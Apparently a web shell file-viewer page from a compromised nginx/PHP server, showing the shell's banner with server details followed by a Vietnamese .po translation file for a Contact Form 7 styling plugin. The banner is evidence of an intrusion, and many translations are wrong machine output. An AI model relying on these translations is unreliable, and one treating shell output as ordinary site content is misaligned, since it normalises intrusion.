Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : cf7-styler-vi.po
msgid ""
msgstr ""
"Language: vi\n"
"POT-Creation-Date: 2020-02-06 11:35+0000\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"PO-Revision-Date: 2023-04-15 16:10+0000\n"
"X-Generator: Loco https://localise.biz/\n"
"Project-Id-Version: WOW Style Contact Form 7\n"
"Report-Msgid-Bugs-To: \n"
"Last-Translator: Tobias support@saleswonder.biz\n"
"Language-Team: Vietnamese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Loco-Version: 2.6.4; wp-6.1.2-alpha-55489"

#: admin/class-cf7-customizer-admin.php:463
msgid "- disable style scheme -"
msgstr "- Chế độ phong cách -"

#: includes/lib/Cf7_Template.php:68 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:463 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:517 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:672 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:789
msgid "- select -"
msgstr "Chọn -"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:303
msgid "14-days Trial"
msgstr "14 Ngày Tòa án"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:231
#, php-format
msgid ""
"<strong>%s</strong> used for all forms globally, click \"Use for all forms\" "
"if you want to use current Scheme."
msgstr ""
"<strong>% s </strong>Được sử dụng cho tất cả các biểu mẫu trên toàn cầu, hãy "
"bấm \"sử dụng cho tất cả các biểu mẫu\" nếu bạn muốn sử dụng biểu mẫu hiện "
"tại."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:242
msgid "Activate style for all forms*"
msgstr "Tích hoạt phong cách cho tất cả các hình thức *"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1292 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1329 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1396
msgid "Activate style for current form"
msgstr "Tích hoạt phong cách cho hình thức hiện tại"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:318
msgid ""
"As an alternative you can disable clean out the styles like on Thrive "
"architect:"
msgstr ""
"Là một lựa chọn thay thế, bạn có thể vô hiệu hóa việc làm sạch các phong "
"cách như trên phrive architect:"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:532
msgid "Background Color"
msgstr "Màu nền"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:560
msgid "Background Image"
msgstr "Hình nền"

#: admin/partials/cf7-customizer-admin-tab-required-plugin.php:9
msgid ""
"Before using WOW Style Contact Form 7, you need to install and activate "
"Contact Form 7 plugin."
msgstr ""
"Trước khi sử dụng biểu mẫu liên hệ kiểu Wow 7, bạn cần cài đặt và kích hoạt "
"biểu mẫu liên hệ 7 Plugin."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:853 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1076
msgid "BG Color"
msgstr "Bg Màu"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:859
msgid "BG Opacity"
msgstr "Bg Khả năng"

#: includes/lib/Cf7_Template.php:43
msgid "Blur radius"
msgstr "Bạch Ốc"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:943
msgid "Border"
msgstr "biên giới"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:807
msgid "Border Color"
msgstr "Màu biên giới"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:802
msgid "Border Radius"
msgstr "Biên giới radius"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:786
msgid "Border Type"
msgstr "Loại biên giới"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:764
msgid "Border Width"
msgstr "biên giới rộng"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1102
msgid "Button Border"
msgstr "nút biên giới"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1041
msgid "Buttons"
msgstr "Bút"

#: includes/lib/Cf7_Required_Plugin.php:13
msgid "By Takayuki Miyoshi"
msgstr "Tác giả: Takayuki Miyoshi"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:414
msgid "Cancel"
msgstr "hủy"

#: cf7-styler.php:129
#, php-format
msgid ""
"CF7 Customizer requires Contact Form 7 plugin to be installed and active. "
"You can download %s."
msgstr ""
"Cf7 Customizer yêu cầu biểu mẫu liên hệ 7 Plugin để cài đặt và hoạt động. "
"Bạn có thể tải xuống % S."

#: admin/class-cf7-customizer-admin-ajax.php:487
msgid "CF7 Form is not selected"
msgstr "Cf7 không được chọn"

#: public/class-cf7-customizer-public.php:342 
#: public/class-cf7-customizer-public.php:371 
#: admin/class-cf7-customizer-admin.php:94 
#: admin/class-cf7-customizer-admin.php:95 
#: admin/class-cf7-customizer-admin.php:115 
#: admin/class-cf7-customizer-admin.php:116 
#: admin/class-cf7-customizer-admin.php:430
msgid "CF7 Styler"
msgstr "Cf7 phong cách"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:986
msgid "Checkboxes & Radiobuttons"
msgstr "Chế độ kiểm tra & Radiobuttons"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:378
msgid "Clean Styles"
msgstr "phong cách sạch"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1144
msgid "Clear"
msgstr "rõ ràng"

#: public/class-cf7-customizer-public.php:360
msgid "Close"
msgstr "gần"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:973 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1116
msgid "Color"
msgstr "Màu"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1187
msgid "Contact form 7 list"
msgstr "Hình thức liên hệ 7"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:675
msgid "Contain"
msgstr "Nội dung"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:410
msgid "Copy current style scheme settings"
msgstr "Sao chép các cài đặt phong cách hiện tại"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:674
msgid "Cover"
msgstr "Màn hình Cover"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:413
msgid "Create"
msgstr "tạo ra"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:293
msgid "Create multiple style schemes"
msgstr "Tạo nhiều phong cách"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:370
msgid "Create new style scheme!"
msgstr "Tạo một phong cách mới!"

#: admin/partials/cf7-customizer-admin-preview-mode.php:6
msgid "Current Style"
msgstr "Phong cách hiện tại"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1381
#, php-format
msgid ""
"Currently <strong id=\"cf7cstmzr-styled_form_title\">%s</strong> form is "
"styled with <strong id=\"cf7cstmzr-styled_form_style_title\">%s</strong>. As "
"in free version you can style only one form at a time and if you activate "
"style for current form, style will be removed from other form."
msgstr ""
"Hiện tại <strong id=\"cf7cstmzr-styled_form_title\">% s </strong>Hình thức "
"được thiết kế với <strong id=\"cf7cstmzr-styled_form_style_title\">% s "
"</strong>. Như trong phiên bản miễn phí bạn có thể phong cách chỉ một biểu "
"mẫu cùng một lúc và nếu bạn kích hoạt phong cách cho biểu mẫu hiện tại, "
"phong cách sẽ được loại bỏ từ biểu mẫu khác."

#: admin/class-cf7-customizer-admin.php:481
#, php-format
msgid ""
"Currently <strong>%s</strong> form is styled with <strong>%s</strong>. As in "
"free version you can style only one form at a time and if you activate style "
"for current form, style will be removed from other form."
msgstr ""
"Hiện tại <strong>% s </strong>Hình thức được thiết kế với <strong>% s "
"</strong>. Như trong phiên bản miễn phí bạn có thể phong cách chỉ một biểu "
"mẫu cùng một lúc và nếu bạn kích hoạt phong cách cho biểu mẫu hiện tại, "
"phong cách sẽ được loại bỏ từ biểu mẫu khác."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1134
msgid "Custom CSS"
msgstr "Tùy chỉnh CSS"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1136
msgid "Custom CSS Code"
msgstr "Mã CSS tùy chỉnh"

#: includes/lib/Cf7_Template.php:80
msgid "Dashed"
msgstr "Dashuất"

#: admin/class-cf7-customizer-admin-ajax.php:66 
#: admin/class-cf7-customizer-admin-ajax.php:237 
#: includes/lib/Cf7_Style_Scheme.php:7
msgid "Default Scheme"
msgstr "Hệ thống mặc định"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:580
msgid "Delete Image"
msgstr "xóa hình ảnh"

#: admin/class-cf7-customizer-admin-ajax.php:286
msgid "deleted"
msgstr "xóa"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1168
msgid "Desktop View"
msgstr "Màn hình Desktop"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:258
msgid "Disable style for all forms"
msgstr "Loại phong cách vô hiệu cho tất cả các hình thức"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1296 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1333 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1400
msgid "Disable style for current form"
msgstr "Chặn phong cách cho hình thức hiện tại"

#: admin/partials/cf7-customizer-admin-display.php:41
msgid ""
"Do you like to get styler premium version for free? Then <a href=\"?"
"page=wp2l-admin&tab=settings\" target=\"_blank\">Enter your WP2LEADS pro "
"license</a> or get a license <a href=\"https://wp2leads-for-klick-tipp."
"com/web/go-pro-plus-get-all-done4u/\" target=\"_blank\">here</a>!"
msgstr ""
"Bạn có muốn có được phiên bản Premium Styler miễn phí không? Sau đó <a "
"href=\"?page=wp2l-admin&tab=settings\" target=\"_blank\">Nhập Wp2Leads Pro "
"License của bạn </a>Hoặc có giấy phép <a href=\"https://wp2leads-for-klick-"
"tipp.com/web/go-pro-plus-get-all-done4u/\" target=\"_blank\">Ở đây </a><unk> "
"!"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:184 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:302 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:303 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:551 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:999
msgid "Do you want to save changes before leaving page?"
msgstr "Bạn muốn lưu các thay đổi trước khi rời khỏi trang?"

#: includes/lib/Cf7_Template.php:79
msgid "Dotted"
msgstr "DOTTED"

#: includes/lib/Cf7_Template.php:81
msgid "Double"
msgstr "Double Đôi"

#: admin/partials/cf7-customizer-admin-preview-mode.php:32
msgid "Duplicate form in second column"
msgstr "Duplicate form trong cột thứ hai"

#: admin/class-cf7-customizer-admin-ajax.php:396
msgid "enabled for all forms"
msgstr "Có sẵn cho tất cả các hình thức"

#: public/class-cf7-customizer-public.php:471 
#: admin/class-cf7-customizer-admin-ajax.php:133 
#: admin/class-cf7-customizer-admin-ajax.php:230 
#: admin/class-cf7-customizer-admin-ajax.php:237 
#: admin/class-cf7-customizer-admin-ajax.php:377 
#: admin/class-cf7-customizer-admin-ajax.php:415 
#: admin/class-cf7-customizer-admin-ajax.php:434 
#: admin/class-cf7-customizer-admin-ajax.php:443 
#: admin/class-cf7-customizer-admin-ajax.php:469 
#: admin/class-cf7-customizer-admin-ajax.php:487 
#: admin/class-cf7-customizer-admin-ajax.php:517
msgid "Error"
msgstr "Lỗi"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:149
msgid "Exit Full Screen"
msgstr "Màn hình Full Screen"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:461
msgid "Font Family"
msgstr "Font gia đình"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:455 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:834 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1090
msgid "Font Size"
msgstr "font kích thước"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:514
msgid "Font Style"
msgstr "Phong cách Font"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:509
msgid "Font Weight"
msgstr "font trọng lượng"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:530
msgid "Form BG Image & Colors"
msgstr "Hình ảnh BG & Màu sắc"

#: admin/partials/cf7-customizer-admin-tabs.php:16
msgid "Form Customizing"
msgstr "Hình thức Customize"

#: admin/class-cf7-customizer-admin-ajax.php:415 
#: admin/class-cf7-customizer-admin-ajax.php:443 
#: admin/class-cf7-customizer-admin-ajax.php:469
msgid "Form is not selected"
msgstr "Hình thức không được chọn"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:689
msgid "Form Padding, Margin & Border"
msgstr "Hình thức padding, margin & border"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:446
msgid "Form Text"
msgstr "Form văn bản"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:148
msgid "Full Screen"
msgstr "màn hình đầy đủ"

#: includes/lib/Cf7_Template.php:82
msgid "Groove"
msgstr "Trưởng"

#: includes/lib/Cf7_Template.php:31
msgid "Horizontal Length"
msgstr "Chiều dài horizontal"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1081
msgid "Hover BG Color"
msgstr "Màu sắc Hover BG"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1121
msgid "Hover Color"
msgstr "Hover Màu"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1069
msgid "Hover Text Color"
msgstr "Hover Text Màu sắc"

#. Description of the plugin
msgid ""
"How to turn your contact form7 form into a converting and easy to use and "
"pro styled contact form, \"survey\" lead generator or an eye catching form"
msgstr ""
"Làm thế nào để biến hình thức liên hệ của bạn Form7 thành một hình thức "
"chuyển đổi và dễ sử dụng và hình thức liên hệ theo phong cách chuyên nghiệp, "
"máy phát sáng \"học\" hoặc hình thức chụp mắt"

#. Author URI of the plugin
msgid "https://saleswonder.biz"
msgstr "Https: //Saleswonder.biz"

#. URI of the plugin
msgid ""
"https://saleswonder.biz/blog/4free-contact-form-7-cf7-formular-und-klick-"
"tipp-einfach-verbinden/"
msgstr ""
"Https: //Saleswonder.Biz/Blog/4Free-Contact-Form-7-Cf7-Formular-Und-Klick-"
"Tipp-Einfach-Verbinden/"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:352 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:360
msgid "I'm happy with this! Save"
msgstr "Tôi hài lòng với điều này! tiết kiệm"

#: admin/partials/cf7-customizer-admin-display.php:31
msgid ""
"If you are using page builders, like Thrive Architect, OptimizePress etc., "
"please check our <a href=\"https://saleswonder.biz/knowledge-base/\" "
"target=\"_blank\">Knowledge Base page</a> for fixing possible issues"
msgstr ""
"Nếu bạn đang sử dụng các nhà xây dựng trang, chẳng hạn như thrive architect, "
"Optimizepress vv, vui lòng kiểm tra chúng tôi <a href=\"https://saleswonder."
"biz/knowledge-base/\" target=\"_blank\">Trang cơ sở kiến thức </a>Để giải "
"quyết các vấn đề có thể"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:275
msgid ""
"If you need to load style scheme inside <code>&lt;body&gt;</code> tag only "
"on some pages, you can do it on frontend using \"CF7 Styler\" button. This "
"function is only available for single post types (pages, posts, products etc."
") and in premium version. You can not do it on archives pages (blog, "
"products list etc) in this case you need to use global settings."
msgstr ""
"Nếu bạn cần để tải lên phong cách kế hoạch bên trong <code><body></code>Nhãn "
"chỉ trên một số trang, bạn có thể làm điều đó trên frontend bằng cách sử "
"dụng nút \"Cf7 Styler\". Tính năng này chỉ có sẵn cho các loại bài đăng duy "
"nhất (các trang, bài đăng, sản phẩm, v.v.) Và trong phiên bản premium. Bạn "
"không thể làm điều đó trên các trang lưu trữ (Blog, danh sách sản phẩm, v.v.)"
" trong trường hợp này bạn cần sử dụng cài đặt toàn cầu."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:314
msgid ""
"If you need to load style scheme inside <code>&lt;body&gt;</code> tag only "
"on some pages, you can do it on frontend using \"CF7 Styler\" button. This "
"function is only available for single post types (pages, posts, products etc."
"). You can not do it on archives pages (blog, products list etc) in this "
"case you need to use global settings."
msgstr ""
"Nếu bạn cần để tải lên phong cách kế hoạch bên trong <code><body></code>Nhãn "
"chỉ trên một số trang, bạn có thể làm điều đó trên frontend bằng cách sử "
"dụng nút \"Cf7 Styler\". Tính năng này chỉ có sẵn cho các loại bài đăng duy "
"nhất (các trang, bài đăng, sản phẩm, vv). Bạn không thể làm điều đó trên các "
"trang lưu trữ (Blog, danh sách sản phẩm, v.v.) trong trường hợp này bạn cần "
"sử dụng cài đặt toàn cầu."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:547
msgid ""
"Image background settings available in live mode only for Professional "
"version. You can test it in preview mode \"current style\", but it will not "
"be saved."
msgstr ""
"Cài đặt nền hình ảnh có sẵn trong chế độ sống chỉ cho phiên bản chuyên "
"nghiệp. Bạn có thể kiểm tra nó trong chế độ xem trước \"trình hiện tại\", "
"nhưng nó sẽ không được tiết kiệm."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:663
msgid "Image Opacity"
msgstr "Hình ảnh Opacity"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:586
msgid "Image Position"
msgstr "Hình ảnh Position"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:670
msgid "Image Size"
msgstr "hình ảnh kích thước"

#: includes/lib/Cf7_Template.php:77 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:521
msgid "Inherit"
msgstr "Di sản"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:820
msgid "Input Fields"
msgstr "Các trường nhập"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:402
msgid "Input style scheme title"
msgstr "Tiêu đề Input Style Scheme"

#: includes/lib/Cf7_Template.php:70 includes/lib/Cf7_Template.php:84
msgid "Inset"
msgstr "Ấn Độ"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:519
msgid "Italic"
msgstr "Ý"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:497
msgid "Labels Color"
msgstr "Tags màu sắc"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:502 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1032
msgid "Labels Font Size"
msgstr "Tag: font kích thước"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:492
msgid "Labels Settings"
msgstr "Label thiết lập"

#: admin/partials/cf7-customizer-admin-tabs.php:18
msgid "License"
msgstr "Giấy phép"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:839 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1095
msgid "Line Height"
msgstr "đường cao"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:480
msgid "Links Color"
msgstr "Màu trái"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:485
msgid "Links Hover Color"
msgstr "Màu trái hover"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:476
msgid "Links Settings"
msgstr "Cài đặt Links"

#: admin/partials/cf7-customizer-admin-preview-mode.php:7 
#: admin/partials/cf7-customizer-admin-preview-mode.php:19
msgid "Live"
msgstr "Sống"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:265 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:299
msgid "Load styles in <code>&lt;body&gt;</code> tag"
msgstr "Load Styles trong <code><body></code>Tag"

#: public/class-cf7-customizer-public.php:348
msgid "Load styles inside <code>&lt;body&gt;</code> tag on this page"
msgstr "Load Styles bên trong <code><body></code>Tag trên trang này"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1009
msgid "Make checkbox item one per line"
msgstr "Tạo Checkbox item một theo dòng"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1045
msgid "Make full width?"
msgstr "Tải rộng đầy đủ?"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:822
msgid "Make input fields full width?"
msgstr "Làm cho các lĩnh vực nhập rộng đầy đủ?"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1019
msgid "Make radiobutton item one per line"
msgstr "Tạo các mục Radiobutton một cho mỗi dòng"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:733 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:912
msgid "Margin"
msgstr "Margin"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1170
msgid "Mobile View"
msgstr "Mobile xem"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:828 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1015 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1025 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1051
msgid "NO"
msgstr "Không"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1450
msgid "No Contact Form 7 items for preview"
msgstr "Không có biểu mẫu liên hệ 7 mục để xem trước"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1387
msgid ""
"No form is styled with style scheme, click \"Activate style for current "
"form\" button to apply current scheme for this form."
msgstr ""
"Không có biểu mẫu được phong cách với biểu mẫu phong cách, nhấp vào nút "
"\"Aktivate style for current form\" để áp dụng biểu mẫu hiện tại cho biểu "
"mẫu này."

#: admin/class-cf7-customizer-admin-ajax.php:517
msgid "No plugin selected to install"
msgstr "Không có plugin được chọn để cài đặt"

#: admin/class-cf7-customizer-admin-ajax.php:230
msgid "No style scheme selected"
msgstr "Không có phong cách được lựa chọn"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:518
msgid "Normal"
msgstr "bình thường"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:520
msgid "Oblique"
msgstr "Oblique"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:995
msgid ""
"One per line styles for checkboxes and radiobuttons in live mode only for "
"Professional version. You can test it in preview mode \"current style\", but "
"it will not be saved."
msgstr ""
"Một theo dòng phong cách cho Checkboxes và Radiobuttons trong chế độ sống "
"chỉ cho phiên bản chuyên nghiệp. Bạn có thể kiểm tra nó trong chế độ xem "
"trước \"trình hiện tại\", nhưng nó sẽ không được tiết kiệm."

#: includes/lib/Cf7_Template.php:61
msgid "Opacity"
msgstr "Opacity"

#: public/class-cf7-customizer-public.php:375 
#: public/class-cf7-customizer-public.php:389 
#: admin/class-cf7-customizer-admin.php:488
msgid "Open styler"
msgstr "Mở Styler"

#: admin/class-cf7-customizer-admin.php:527
msgid "Opt-in to see account"
msgstr "Opt-in để xem tài khoản"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:673
msgid "Original size"
msgstr "Kích thước gốc"

#: includes/lib/Cf7_Template.php:69
msgid "Outline"
msgstr "Outline Khác"

#: includes/lib/Cf7_Template.php:85
msgid "Outset"
msgstr "ngoài ra"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:702 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:881 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1055
msgid "Padding"
msgstr "Padding"

#: admin/class-cf7-customizer-admin-ajax.php:133
msgid "Please input style scheme title"
msgstr "Vui lòng nhập kiểu scheme title"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1140
msgid "Preview"
msgstr "Dự báo"

#: admin/partials/cf7-customizer-admin-preview-mode.php:2
msgid "Preview mode"
msgstr "chế độ Preview"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1343
msgid "Preview Unstyled"
msgstr "Preview không thể"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:968 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1110
msgid "Radius"
msgstr "Radius"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:678
msgid "Repeat both"
msgstr "Lặp lại cả hai"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:677
msgid "Repeat horizontal"
msgstr "Lặp lại horizontal"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:676
msgid "Repeat vertical"
msgstr "Lặp lại vertical"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:383
msgid "Reset to default"
msgstr "Khởi động trở lại default"

#: includes/lib/Cf7_Template.php:83
msgid "Ridge"
msgstr "Ridge"

#: public/class-cf7-customizer-public.php:354 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:361
msgid "Save"
msgstr "tiết kiệm"

#: public/class-cf7-customizer-public.php:483 
#: admin/class-cf7-customizer-admin-ajax.php:119
msgid "Saved"
msgstr "cứu rỗi"

#: admin/partials/cf7-customizer-admin-preview-mode.php:17
msgid "Second column view"
msgstr "Nhìn Column 2"

#: admin/class-cf7-customizer-admin.php:459
msgid "Select style scheme for this form"
msgstr "Chọn biểu mẫu kiểu cho biểu mẫu này"

#: admin/partials/cf7-customizer-admin-tabs.php:17
msgid "Settings"
msgstr "Cài đặt"

#: admin/class-cf7-customizer-admin-ajax.php:210
msgid "Settings saved as "
msgstr "Cài đặt được tiết kiệm như"

#: includes/lib/Cf7_Template.php:27
msgid "Shadow"
msgstr "bóng tối"

#: includes/lib/Cf7_Template.php:56
msgid "Shadow Color"
msgstr "Màu bóng"

#: includes/lib/Cf7_Template.php:66
msgid "Shadow Position"
msgstr "Vị trí bóng"

#: includes/lib/Cf7_Template.php:78
msgid "Solid"
msgstr "Sức mạnh"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:271 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:310
msgid ""
"Some themes or page builders (fe. Thrive Architect, OptimizePress etc.) "
"could remove inline styles inside <code>&lt;head&gt;</code> tag. Loading "
"style scheme within <code>&lt;body&gt;</code> tag will fix this issue and "
"show your forms styled."
msgstr ""
"Một số chủ đề hoặc xây dựng trang (Fe. Thrive kiến trúc sư, Optimizepress vv)"
" Có thể loại bỏ các phong cách Inline bên trong <code><head></code>Tag . "
"Loading style scheme trong <code><body></code>Tag sẽ khắc phục vấn đề này và "
"hiển thị các biểu mẫu của bạn được phong cách."

#: admin/partials/cf7-customizer-admin-preview-mode.php:5
msgid "Split mode"
msgstr "Mô hình Split"

#: admin/partials/cf7-customizer-admin-preview-mode.php:12
msgid "Split view"
msgstr "View phân chia"

#: includes/lib/Cf7_Template.php:48
msgid "Spread radius"
msgstr "Tải ra radius"

#: admin/partials/cf7-customizer-admin-tutorial.php:49
msgid "Start styling"
msgstr "Bắt đầu styling"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:337
msgid "Start with creating Default Style Scheme"
msgstr "Bắt đầu với việc tạo một kế hoạch phong cách mặc định"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1413 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1454
msgid ""
"Start with creating your <a href=\"admin.php?page=wpcf7-new\">first Contact "
"Form 7</a>"
msgstr ""
"Bắt đầu bằng cách tạo ra bạn <a href=\"admin.php?page=wpcf7-new\">Hình thức "
"liên lạc đầu tiên 7 </a>"

#: admin/partials/cf7-customizer-admin-display.php:50
msgid ""
"Start your 14-day free trial with all Professional functions <a href=\"admin."
"php?billing_cycle=annual&trial=true&page=cf7cstmzr_page-pricing\" class=\"go-"
"to-upgrade\" data-confirm=\"Do you want to save changes before leaving page?"
"\" target=\"_blank\">here</a>!"
msgstr ""
"Bắt đầu thử nghiệm miễn phí 14 ngày của bạn với tất cả các chức năng chuyên "
"nghiệp <a href=\"admin.php?"
"billing_cycle=annual&trial=true&page=cf7cstmzr_page-pricing\" class=\"go-to-"
"upgrade\" data-confirm=\"Do you want to save changes before leaving page?\" "
"target=\"_blank\">Ở đây </a><unk> !"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:320
msgid "Step 1. Click \"Edit with Thrive architect\" link in admin page list"
msgstr ""
"Bước 1 Nhấp vào liên kết \"ed with thrive architect\" trong danh sách trang "
"Admin"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:322
msgid "Step 2. Click \"Settings\" icon on right vertical menu"
msgstr "Bước 2 Nhấp vào biểu tượng \"Settings\" trên menu thẳng"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:324
msgid "Step 3. \"Advanced settings\" => \"CSS in the &lt;head&gt; section\""
msgstr "Bước 3 “Cài đặt nâng cao” => “CSS trong <head>Phần »"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:326
msgid ""
"Step 4. Make sure that \"Do not strip CSS from &lt;head&gt;\" is checked"
msgstr "Bước 4 Hãy chắc chắn rằng \"không xóa CSS từ <head>» Đã kiểm tra"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:328
msgid "Step 5. Click \"SAVE WORK\" button"
msgstr "Bước 5 Nhấp vào nút \"save work\""

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:290
msgid "Style all forms in one click globally"
msgstr "Phong cách tất cả các hình thức trong một cú nhấp chuột toàn cầu"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:296
msgid "Style each form with any style scheme individually"
msgstr "Phong cách mỗi hình thức với bất kỳ phong cách kế hoạch riêng lẻ"

#: admin/class-cf7-customizer-admin-ajax.php:405
